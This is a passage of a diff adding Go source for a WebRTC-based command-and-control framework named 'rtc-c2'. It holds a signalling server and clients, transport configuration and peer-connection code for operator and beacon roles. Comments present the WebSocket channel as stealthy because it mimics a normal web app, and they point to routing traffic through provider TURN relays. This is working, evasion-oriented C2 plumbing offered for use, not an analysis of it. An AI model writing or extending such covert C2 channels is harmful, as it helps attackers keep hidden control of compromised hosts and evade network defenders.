|
role: role,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *HTTPSignaller) SendLocalDescription(sdp webrtc.SessionDescription) error {
|
||||||
|
data, err := json.Marshal(sdp)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("signaller: marshal sdp: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
url := fmt.Sprintf("%s/sdp/%s/%s", h.baseURL, h.sessionKey, h.role)
|
||||||
|
resp, err := h.client.Post(url, "application/json", bytes.NewReader(data))
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("signaller: post: %w", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated {
|
||||||
|
body, _ := io.ReadAll(resp.Body)
|
||||||
|
return fmt.Errorf("signaller: post %d: %s", resp.StatusCode, string(body))
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *HTTPSignaller) ReceiveRemoteDescription() (*webrtc.SessionDescription, error) {
|
||||||
|
// Determine which role to poll for
|
||||||
|
remoteRole := "beacon"
|
||||||
|
if h.role == "beacon" {
|
||||||
|
remoteRole = "operator"
|
||||||
|
}
|
||||||
|
|
||||||
|
url := fmt.Sprintf("%s/sdp/%s/%s", h.baseURL, h.sessionKey, remoteRole)
|
||||||
|
|
||||||
|
for i := 0; i < 60; i++ {
|
||||||
|
resp, err := h.client.Get(url)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("signaller: get: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if resp.StatusCode == http.StatusOK {
|
||||||
|
var sdp webrtc.SessionDescription
|
||||||
|
if err := json.NewDecoder(resp.Body).Decode(&sdp); err != nil {
|
||||||
|
resp.Body.Close()
|
||||||
|
return nil, fmt.Errorf("signaller: decode: %w", err)
|
||||||
|
}
|
||||||
|
resp.Body.Close()
|
||||||
|
return &sdp, nil
|
||||||
|
}
|
||||||
|
resp.Body.Close()
|
||||||
|
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, fmt.Errorf("signaller: timeout waiting for remote description")
|
||||||
|
}
|
||||||
|
|
||||||
|
// SignallerServer is the HTTP/WS rendezvous server for SDP exchange.
|
||||||
|
type SignallerServer struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
sdpMap map[string]map[string]webrtc.SessionDescription
|
||||||
|
server *http.Server
|
||||||
|
upgrader websocket.Upgrader
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewSignallerServer creates a new signaller rendezvous server.
|
||||||
|
func NewSignallerServer(addr string) *SignallerServer {
|
||||||
|
s := &SignallerServer{
|
||||||
|
sdpMap: make(map[string]map[string]webrtc.SessionDescription),
|
||||||
|
}
|
||||||
|
|
||||||
|
s.upgrader = websocket.Upgrader{
|
||||||
|
CheckOrigin: func(r *http.Request) bool { return true },
|
||||||
|
}
|
||||||
|
|
||||||
|
mux := http.NewServeMux()
|
||||||
|
mux.HandleFunc("/sdp/", s.handleSDP)
|
||||||
|
mux.HandleFunc("/ws", s.handleWebSocket)
|
||||||
|
mux.HandleFunc("/health", func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
w.WriteHeader(http.StatusOK)
|
||||||
|
w.Write([]byte("ok"))
|
||||||
|
})
|
||||||
|
|
||||||
|
s.server = &http.Server{
|
||||||
|
Addr: addr,
|
||||||
|
Handler: mux,
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start begins listening for SDP exchanges.
|
||||||
|
func (s *SignallerServer) Start() error {
|
||||||
|
addr := s.server.Addr
|
||||||
|
if addr == "" {
|
||||||
|
addr = ":9090"
|
||||||
|
s.server.Addr = addr
|
||||||
|
}
|
||||||
|
fmt.Printf("[signaller] listening on %s\n", addr)
|
||||||
|
return s.server.ListenAndServe()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Stop gracefully shuts down the signaller server.
|
||||||
|
func (s *SignallerServer) Stop() error {
|
||||||
|
return s.server.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Addr returns the listening address.
|
||||||
|
func (s *SignallerServer) Addr() string {
|
||||||
|
return s.server.Addr
|
||||||
|
}
|
||||||
|
|
||||||
|
// StoreSDP stores an SDP description for a session/role.
|
||||||
|
func (s *SignallerServer) StoreSDP(sessionKey, role string, sdp webrtc.SessionDescription) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
if s.sdpMap[sessionKey] == nil {
|
||||||
|
s.sdpMap[sessionKey] = make(map[string]webrtc.SessionDescription)
|
||||||
|
}
|
||||||
|
s.sdpMap[sessionKey][role] = sdp
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetSDP retrieves an SDP description for a session/role.
|
||||||
|
func (s *SignallerServer) GetSDP(sessionKey, role string) (*webrtc.SessionDescription, error) {
|
||||||
|
s.mu.RLock()
|
||||||
|
defer s.mu.RUnlock()
|
||||||
|
entry, ok := s.sdpMap[sessionKey]
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("not found")
|
||||||
|
}
|
||||||
|
sdp, ok := entry[role]
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("not found")
|
||||||
|
}
|
||||||
|
return &sdp, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleWebSocket upgrades connections for WebSocket SDP exchange.
|
||||||
|
func (s *SignallerServer) handleWebSocket(rw http.ResponseWriter, r *http.Request) {
|
||||||
|
sessionKey := r.URL.Query().Get("sess")
|
||||||
|
role := r.URL.Query().Get("role")
|
||||||
|
action := r.URL.Query().Get("action")
|
||||||
|
|
||||||
|
if sessionKey == "" || role == "" {
|
||||||
|
http.Error(rw, "missing sess or role", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if action == "" {
|
||||||
|
http.Error(rw, "missing action (sdp|wait)", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
conn, err := s.upgrader.Upgrade(rw, r, nil)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[ws-signaller] upgrade error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
log.Printf("[ws-signaller] %s joined session %s (action=%s)", role, sessionKey, action)
|
||||||
|
|
||||||
|
switch action {
|
||||||
|
case "sdp":
|
||||||
|
// Read SDP from WebSocket and store it
|
||||||
|
_, msg, err := conn.ReadMessage()
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[ws-signaller] read sdp: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var sdp webrtc.SessionDescription
|
||||||
|
if err := json.Unmarshal(msg, &sdp); err != nil {
|
||||||
|
log.Printf("[ws-signaller] bad sdp: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
s.StoreSDP(sessionKey, role, sdp)
|
||||||
|
|
||||||
|
case "wait":
|
||||||
|
// Wait for the remote's SDP
|
||||||
|
remoteRole := "beacon"
|
||||||
|
if role == "beacon" {
|
||||||
|
remoteRole = "operator"
|
||||||
|
}
|
||||||
|
|
||||||
|
for i := 0; i < 120; i++ {
|
||||||
|
sdp, err := s.GetSDP(sessionKey, remoteRole)
|
||||||
|
if err == nil && sdp != nil {
|
||||||
|
data, _ := json.Marshal(sdp)
|
||||||
|
conn.WriteMessage(websocket.TextMessage, data)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
}
|
||||||
|
conn.WriteMessage(websocket.TextMessage, []byte(`{"error":"timeout"}`))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *SignallerServer) handleSDP(w http.ResponseWriter, r *http.Request) {
|
||||||
|
// Path: /sdp/{sessionKey}/{role}
|
||||||
|
parts := r.URL.Path[len("/sdp/"):]
|
||||||
|
if parts == "" {
|
||||||
|
http.Error(w, "missing session key", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Split into session key and role
|
||||||
|
var sessionKey, role string
|
||||||
|
n := 0
|
||||||
|
for i, c := range parts {
|
||||||
|
if c == '/' {
|
||||||
|
sessionKey = parts[:i]
|
||||||
|
role = parts[i+1:]
|
||||||
|
n = i
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if sessionKey == "" || role == "" {
|
||||||
|
http.Error(w, "expected /sdp/{sessionKey}/{role}", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = n
|
||||||
|
|
||||||
|
switch r.Method {
|
||||||
|
case http.MethodPost, http.MethodPut:
|
||||||
|
var sdp webrtc.SessionDescription
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&sdp); err != nil {
|
||||||
|
http.Error(w, "bad json: "+err.Error(), http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
s.mu.Lock()
|
||||||
|
if s.sdpMap[sessionKey] == nil {
|
||||||
|
s.sdpMap[sessionKey] = make(map[string]webrtc.SessionDescription)
|
||||||
|
}
|
||||||
|
s.sdpMap[sessionKey][role] = sdp
|
||||||
|
s.mu.Unlock()
|
||||||
|
|
||||||
|
w.WriteHeader(http.StatusCreated)
|
||||||
|
fmt.Fprintf(w, "stored sdp for %s/%s", sessionKey, role)
|
||||||
|
|
||||||
|
case http.MethodGet:
|
||||||
|
s.mu.RLock()
|
||||||
|
entry, ok := s.sdpMap[sessionKey]
|
||||||
|
if !ok {
|
||||||
|
s.mu.RUnlock()
|
||||||
|
http.Error(w, "not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
sdp, ok := entry[role]
|
||||||
|
s.mu.RUnlock()
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
http.Error(w, "not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(sdp)
|
||||||
|
|
||||||
|
default:
|
||||||
|
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
package signaller
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/gorilla/websocket"
|
||||||
|
"github.com/pion/webrtc/v4"
|
||||||
|
)
|
||||||
|
|
||||||
|
// WebSocketSignaller exchanges SDP through WebSocket connections.
|
||||||
|
// Stealthier than HTTP polling — single persistent connection,
|
||||||
|
// looks like a normal web app or live data feed (Technique 3).
|
||||||
|
type WebSocketSignaller struct {
|
||||||
|
baseURL string
|
||||||
|
sessionKey string
|
||||||
|
role string
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewWebSocketSignaller creates a WebSocket-based signaller client.
|
||||||
|
func NewWebSocketSignaller(baseURL, sessionKey, role string) *WebSocketSignaller {
|
||||||
|
return &WebSocketSignaller{
|
||||||
|
baseURL: baseURL,
|
||||||
|
sessionKey: sessionKey,
|
||||||
|
role: role,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SendLocalDescription sends this peer's SDP via WebSocket.
|
||||||
|
func (w *WebSocketSignaller) SendLocalDescription(sdp webrtc.SessionDescription) error {
|
||||||
|
url := fmt.Sprintf("%s?sess=%s&role=%s&action=sdp", w.baseURL, w.sessionKey, w.role)
|
||||||
|
|
||||||
|
dialer := websocket.Dialer{
|
||||||
|
HandshakeTimeout: 10 * time.Second,
|
||||||
|
}
|
||||||
|
|
||||||
|
conn, _, err := dialer.Dial(url, http.Header{})
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("ws-signaller: dial: %w", err)
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
data, err := json.Marshal(sdp)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("ws-signaller: marshal: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||||
|
return fmt.Errorf("ws-signaller: write: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReceiveRemoteDescription waits for and returns the remote peer's SDP.
|
||||||
|
func (w *WebSocketSignaller) ReceiveRemoteDescription() (*webrtc.SessionDescription, error) {
|
||||||
|
url := fmt.Sprintf("%s?sess=%s&role=%s&action=wait", w.baseURL, w.sessionKey, w.role)
|
||||||
|
|
||||||
|
dialer := websocket.Dialer{
|
||||||
|
HandshakeTimeout: 10 * time.Second,
|
||||||
|
}
|
||||||
|
|
||||||
|
conn, _, err := dialer.Dial(url, http.Header{})
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("ws-signaller: dial: %w", err)
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
|
||||||
|
for {
|
||||||
|
_, msg, err := conn.ReadMessage()
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("ws-signaller: read: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for error response
|
||||||
|
var errResp struct {
|
||||||
|
Error string `json:"error"`
|
||||||
|
}
|
||||||
|
if json.Unmarshal(msg, &errResp) == nil && errResp.Error != "" {
|
||||||
|
return nil, fmt.Errorf("ws-signaller: %s", errResp.Error)
|
||||||
|
}
|
||||||
|
|
||||||
|
var sdp webrtc.SessionDescription
|
||||||
|
if err := json.Unmarshal(msg, &sdp); err != nil {
|
||||||
|
log.Printf("[ws-signaller] bad sdp: %v", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
return &sdp, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,104 @@
|
|||||||
|
// Package transport provides WebRTC-based transport for the rtc-c2 framework.
|
||||||
|
// It wraps Pion WebRTC to manage peer connections, data channels, and ICE/TURN connectivity.
|
||||||
|
package transport
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/hex"
|
||||||
|
"fmt"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Role indicates whether this instance creates the offer (Operator) or answers (Beacon).
|
||||||
|
type Role int
|
||||||
|
|
||||||
|
const (
|
||||||
|
RoleOperator Role = iota
|
||||||
|
RoleBeacon
|
||||||
|
)
|
||||||
|
|
||||||
|
func (r Role) String() string {
|
||||||
|
switch r {
|
||||||
|
case RoleOperator:
|
||||||
|
return "operator"
|
||||||
|
case RoleBeacon:
|
||||||
|
return "beacon"
|
||||||
|
default:
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ICEServerConfig defines a STUN or TURN server for NAT traversal.
|
||||||
|
type ICEServerConfig struct {
|
||||||
|
URLs []string `json:"urls"`
|
||||||
|
Username string `json:"username,omitempty"`
|
||||||
|
Credential string `json:"credential,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// Config holds all transport layer configuration.
|
||||||
|
type Config struct {
|
||||||
|
// Role of this peer (operator or beacon)
|
||||||
|
Role Role `json:"role"`
|
||||||
|
|
||||||
|
// ICE servers for NAT traversal
|
||||||
|
ICEServers []ICEServerConfig `json:"ice_servers"`
|
||||||
|
|
||||||
|
// Data channel configuration
|
||||||
|
DataChannelName string `json:"data_channel_name"`
|
||||||
|
|
||||||
|
// WebRTC settings
|
||||||
|
Mtu int `json:"mtu"`
|
||||||
|
ReconnectDelay time.Duration `json:"reconnect_delay"`
|
||||||
|
MaxReconnectRetries int `json:"max_reconnect_retries"`
|
||||||
|
|
||||||
|
// Peer ID — unique identifier for this instance
|
||||||
|
PeerID string `json:"peer_id"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// DefaultConfig returns a sensible default configuration.
|
||||||
|
// Uses Google's public STUN servers by default; TURN can be added.
|
||||||
|
func DefaultConfig(role Role) *Config {
|
||||||
|
peerID := generatePeerID()
|
||||||
|
|
||||||
|
return &Config{
|
||||||
|
Role: role,
|
||||||
|
ICEServers: []ICEServerConfig{
|
||||||
|
{
|
||||||
|
URLs: []string{
|
||||||
|
"stun:stun.l.google.com:19302",
|
||||||
|
"stun:stun1.l.google.com:19302",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
DataChannelName: "rtc-c2-channel",
|
||||||
|
Mtu: 1500,
|
||||||
|
ReconnectDelay: 5 * time.Second,
|
||||||
|
MaxReconnectRetries: 10,
|
||||||
|
PeerID: peerID,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// WithTURN adds TURN relay servers to the configuration.
|
||||||
|
// For development, use coturn. For Ghost Calls-style operation, use provider TURN.
|
||||||
|
func (c *Config) WithTURN(urls []string, username, credential string) *Config {
|
||||||
|
c.ICEServers = append(c.ICEServers, ICEServerConfig{
|
||||||
|
URLs: urls,
|
||||||
|
Username: username,
|
||||||
|
Credential: credential,
|
||||||
|
})
|
||||||
|
return c
|
||||||
|
}
|
||||||
|
|
||||||
|
// WithAdditionalSTUN adds STUN servers.
|
||||||
|
func (c *Config) WithAdditionalSTUN(urls ...string) *Config {
|
||||||
|
c.ICEServers = append(c.ICEServers, ICEServerConfig{URLs: urls})
|
||||||
|
return c
|
||||||
|
}
|
||||||
|
|
||||||
|
func generatePeerID() string {
|
||||||
|
b := make([]byte, 8)
|
||||||
|
if _, err := rand.Read(b); err != nil {
|
||||||
|
return fmt.Sprintf("peer-%d", time.Now().UnixNano())
|
||||||
|
}
|
||||||
|
return hex.EncodeToString(b)
|
||||||
|
}
|
||||||
@@ -0,0 +1,426 @@
|
|||||||
|
package transport
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/pion/webrtc/v4"
|
||||||
|
)
|
||||||
|
|
||||||
|
// PeerState describes the current connection state.
|
||||||
|
type PeerState int
|
||||||
|
|
||||||
|
const (
|
||||||
|
StateDisconnected PeerState = iota
|
||||||
|
StateConnecting
|
||||||
|
StateConnected
|
||||||
|
StateFailed
|
||||||
|
)
|
||||||
|
|
||||||
|
func (s PeerState) String() string {
|
||||||
|
switch s {
|
||||||
|
case StateDisconnected:
|
||||||
|
return "disconnected"
|
||||||
|
case StateConnecting:
|
||||||
|
return "connecting"
|
||||||
|
case StateConnected:
|
||||||
|
return "connected"
|
||||||
|
case StateFailed:
|
||||||
|
return "failed"
|
||||||
|
default:
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// PeerEvent is emitted when the peer connection state changes.
|
||||||
|
type PeerEvent struct {
|
||||||
|
State PeerState
|
||||||
|
Err error
|
||||||
|
}
|
||||||
|
|
||||||
|
// Peer wraps a Pion RTCPeerConnection and provides a high-level interface
|
||||||
|
// for creating and managing WebRTC data channels with automatic reconnection.
|
||||||
|
type Peer struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
config *Config
|
||||||
|
pc *webrtc.PeerConnection
|
||||||
|
dc *webrtc.DataChannel
|
||||||
|
state PeerState
|
||||||
|
stopCh chan struct{}
|
||||||
|
doneCh chan struct{}
|
||||||
|
|
||||||
|
// Callbacks
|
||||||
|
onStateChange func(PeerEvent)
|
||||||
|
onMessage func([]byte)
|
||||||
|
onError func(error)
|
||||||
|
|
||||||
|
// Reconnection
|
||||||
|
reconnectCount int
|
||||||
|
|
||||||
|
// SDP signalling hooks
|
||||||
|
// OnLocalDescription is called when an SDP offer/answer is ready to send.
|
||||||
|
OnLocalDescription func(sdp webrtc.SessionDescription) error
|
||||||
|
// RemoteDescriptionChan receives SDP answers/offers from the remote peer.
|
||||||
|
RemoteDescriptionChan chan webrtc.SessionDescription
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewPeer creates a new WebRTC peer.
|
||||||
|
func NewPeer(cfg *Config) (*Peer, error) {
|
||||||
|
if cfg == nil {
|
||||||
|
cfg = DefaultConfig(RoleBeacon)
|
||||||
|
}
|
||||||
|
|
||||||
|
p := &Peer{
|
||||||
|
config: cfg,
|
||||||
|
state: StateDisconnected,
|
||||||
|
stopCh: make(chan struct{}),
|
||||||
|
doneCh: make(chan struct{}),
|
||||||
|
RemoteDescriptionChan: make(chan webrtc.SessionDescription, 16),
|
||||||
|
}
|
||||||
|
|
||||||
|
return p, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// OnStateChange registers a callback for connection state changes.
|
||||||
|
func (p *Peer) OnStateChange(fn func(PeerEvent)) {
|
||||||
|
p.mu.Lock()
|
||||||
|
defer p.mu.Unlock()
|
||||||
|
p.onStateChange = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// OnMessage registers a callback for incoming data channel messages.
|
||||||
|
func (p *Peer) OnMessage(fn func([]byte)) {
|
||||||
|
p.mu.Lock()
|
||||||
|
defer p.mu.Unlock()
|
||||||
|
p.onMessage = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// OnError registers a callback for errors.
|
||||||
|
func (p *Peer) OnError(fn func(error)) {
|
||||||
|
p.mu.Lock()
|
||||||
|
defer p.mu.Unlock()
|
||||||
|
p.onError = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// Connect initiates the WebRTC connection.
|
||||||
|
// For the operator role, it creates an offer.
|
||||||
|
// For the beacon role, it waits for a remote offer.
|
||||||
|
func (p *Peer) Connect(ctx context.Context) error {
|
||||||
|
p.mu.Lock()
|
||||||
|
if p.state == StateConnected {
|
||||||
|
p.mu.Unlock()
|
||||||
|
return fmt.Errorf("peer: already connected")
|
||||||
|
}
|
||||||
|
p.state = StateConnecting
|
||||||
|
p.mu.Unlock()
|
||||||
|
|
||||||
|
p.emitState(StateConnecting, nil)
|
||||||
|
|
||||||
|
if err := p.createPeerConnection(); err != nil {
|
||||||
|
p.emitState(StateFailed, err)
|
||||||
|
return fmt.Errorf("peer: create pc: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create data channel (operator initiates)
|
||||||
|
if p.config.Role == RoleOperator {
|
||||||
|
if err := p.createDataChannel(); err != nil {
|
||||||
|
return fmt.Errorf("peer: create dc: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create and send offer
|
||||||
|
offer, err := p.pc.CreateOffer(nil)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("peer: create offer: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := p.pc.SetLocalDescription(offer); err != nil {
|
||||||
|
return fmt.Errorf("peer: set local desc: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Signal the offer to the remote peer
|
||||||
|
if p.OnLocalDescription != nil {
|
||||||
|
if err := p.OnLocalDescription(offer); err != nil {
|
||||||
|
return fmt.Errorf("peer: signal offer: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
go p.connectionLoop(ctx)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send sends data over the data channel.
|
||||||
|
func (p *Peer) Send(data []byte) error {
|
||||||
|
p.mu.RLock()
|
||||||
|
dc := p.dc
|
||||||
|
p.mu.RUnlock()
|
||||||
|
|
||||||
|
if dc == nil {
|
||||||
|
return fmt.Errorf("peer: data channel not ready")
|
||||||
|
}
|
||||||
|
|
||||||
|
return dc.Send(data)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close terminates the peer connection.
|
||||||
|
func (p *Peer) Close() error {
|
||||||
|
p.mu.Lock()
|
||||||
|
defer p.mu.Unlock()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-p.stopCh:
|
||||||
|
return nil
|
||||||
|
default:
|
||||||
|
close(p.stopCh)
|
||||||
|
}
|
||||||
|
|
||||||
|
if p.pc != nil {
|
||||||
|
return p.pc.Close()
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Done returns a channel that closes when the peer is fully shut down.
|
||||||
|
func (p *Peer) Done() <-chan struct{} {
|
||||||
|
return p.doneCh
|
||||||
|
}
|
||||||
|
|
||||||
|
// Config returns the peer's configuration.
|
||||||
|
func (p *Peer) Config() *Config {
|
||||||
|
p.mu.RLock()
|
||||||
|
defer p.mu.RUnlock()
|
||||||
|
return p.config
|
||||||
|
}
|
||||||
|
|
||||||
|
// State returns the current peer state.
|
||||||
|
func (p *Peer) State() PeerState {
|
||||||
|
p.mu.RLock()
|
||||||
|
defer p.mu.RUnlock()
|
||||||
|
return p.state
|
||||||
|
}
|
||||||
|
|
||||||
|
// createPeerConnection sets up the underlying RTCPeerConnection.
|
||||||
|
func (p *Peer) createPeerConnection() error {
|
||||||
|
p.mu.Lock()
|
||||||
|
defer p.mu.Unlock()
|
||||||
|
|
||||||
|
settings := webrtc.SettingEngine{}
|
||||||
|
settings.DetachDataChannels()
|
||||||
|
|
||||||
|
api := webrtc.NewAPI(webrtc.WithSettingEngine(settings))
|
||||||
|
|
||||||
|
iceServers := make([]webrtc.ICEServer, len(p.config.ICEServers))
|
||||||
|
for i, s := range p.config.ICEServers {
|
||||||
|
iceServers[i] = webrtc.ICEServer{
|
||||||
|
URLs: s.URLs,
|
||||||
|
Username: s.Username,
|
||||||
|
Credential: s.Credential,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
config := webrtc.Configuration{
|
||||||
|
ICEServers: iceServers,
|
||||||
|
ICETransportPolicy: webrtc.ICETransportPolicyAll,
|
||||||
|
}
|
||||||
|
|
||||||
|
pc, err := api.NewPeerConnection(config)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("new pc: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle ICE connection state changes
|
||||||
|
pc.OnICEConnectionStateChange(func(state webrtc.ICEConnectionState) {
|
||||||
|
log.Printf("[transport] ICE state: %s", state)
|
||||||
|
switch state {
|
||||||
|
case webrtc.ICEConnectionStateConnected:
|
||||||
|
p.emitState(StateConnected, nil)
|
||||||
|
p.mu.Lock()
|
||||||
|
p.reconnectCount = 0
|
||||||
|
p.mu.Unlock()
|
||||||
|
case webrtc.ICEConnectionStateDisconnected:
|
||||||
|
p.emitState(StateDisconnected, nil)
|
||||||
|
case webrtc.ICEConnectionStateFailed:
|
||||||
|
p.emitState(StateFailed, fmt.Errorf("ICE failed"))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
// Handle data channels initiated by the remote peer (beacon side)
|
||||||
|
if p.config.Role == RoleBeacon {
|
||||||
|
pc.OnDataChannel(func(dc *webrtc.DataChannel) {
|
||||||
|
log.Printf("[transport] received remote data channel: %s", dc.Label())
|
||||||
|
p.handleDataChannel(dc)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
p.pc = pc
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// createDataChannel creates the data channel (operator side).
|
||||||
|
func (p *Peer) createDataChannel() error {
|
||||||
|
p.mu.Lock()
|
||||||
|
defer p.mu.Unlock()
|
||||||
|
|
||||||
|
dc, err := p.pc.CreateDataChannel(p.config.DataChannelName, &webrtc.DataChannelInit{
|
||||||
|
Ordered: boolPtr(true),
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("create dc: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
p.handleDataChannel(dc)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// handleDataChannel sets up the data channel callbacks.
|
||||||
|
func (p *Peer) handleDataChannel(dc *webrtc.DataChannel) {
|
||||||
|
p.mu.Lock()
|
||||||
|
p.dc = dc
|
||||||
|
p.mu.Unlock()
|
||||||
|
|
||||||
|
dc.OnOpen(func() {
|
||||||
|
log.Printf("[transport] data channel '%s' opened", dc.Label())
|
||||||
|
})
|
||||||
|
|
||||||
|
dc.OnClose(func() {
|
||||||
|
log.Printf("[transport] data channel '%s' closed", dc.Label())
|
||||||
|
})
|
||||||
|
|
||||||
|
dc.OnMessage(func(msg webrtc.DataChannelMessage) {
|
||||||
|
p.mu.RLock()
|
||||||
|
cb := p.onMessage
|
||||||
|
p.mu.RUnlock()
|
||||||
|
if cb != nil {
|
||||||
|
cb(msg.Data)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// connectionLoop handles the main event loop including reconnection.
|
||||||
|
func (p *Peer) connectionLoop(ctx context.Context) {
|
||||||
|
defer close(p.doneCh)
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
p.Close()
|
||||||
|
return
|
||||||
|
|
||||||
|
case <-p.stopCh:
|
||||||
|
return
|
||||||
|
|
||||||
|
case remoteDesc := <-p.RemoteDescriptionChan:
|
||||||
|
if err := p.pc.SetRemoteDescription(remoteDesc); err != nil {
|
||||||
|
log.Printf("[transport] set remote desc error: %v", err)
|
||||||
|
p.emitState(StateFailed, err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// If we're the beacon, we need to create an answer
|
||||||
|
if p.config.Role == RoleBeacon {
|
||||||
|
answer, err := p.pc.CreateAnswer(nil)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[transport] create answer error: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
